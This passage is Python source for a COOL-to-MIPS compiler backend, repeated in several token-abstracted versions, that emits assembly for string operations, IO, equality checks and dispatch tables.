self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def 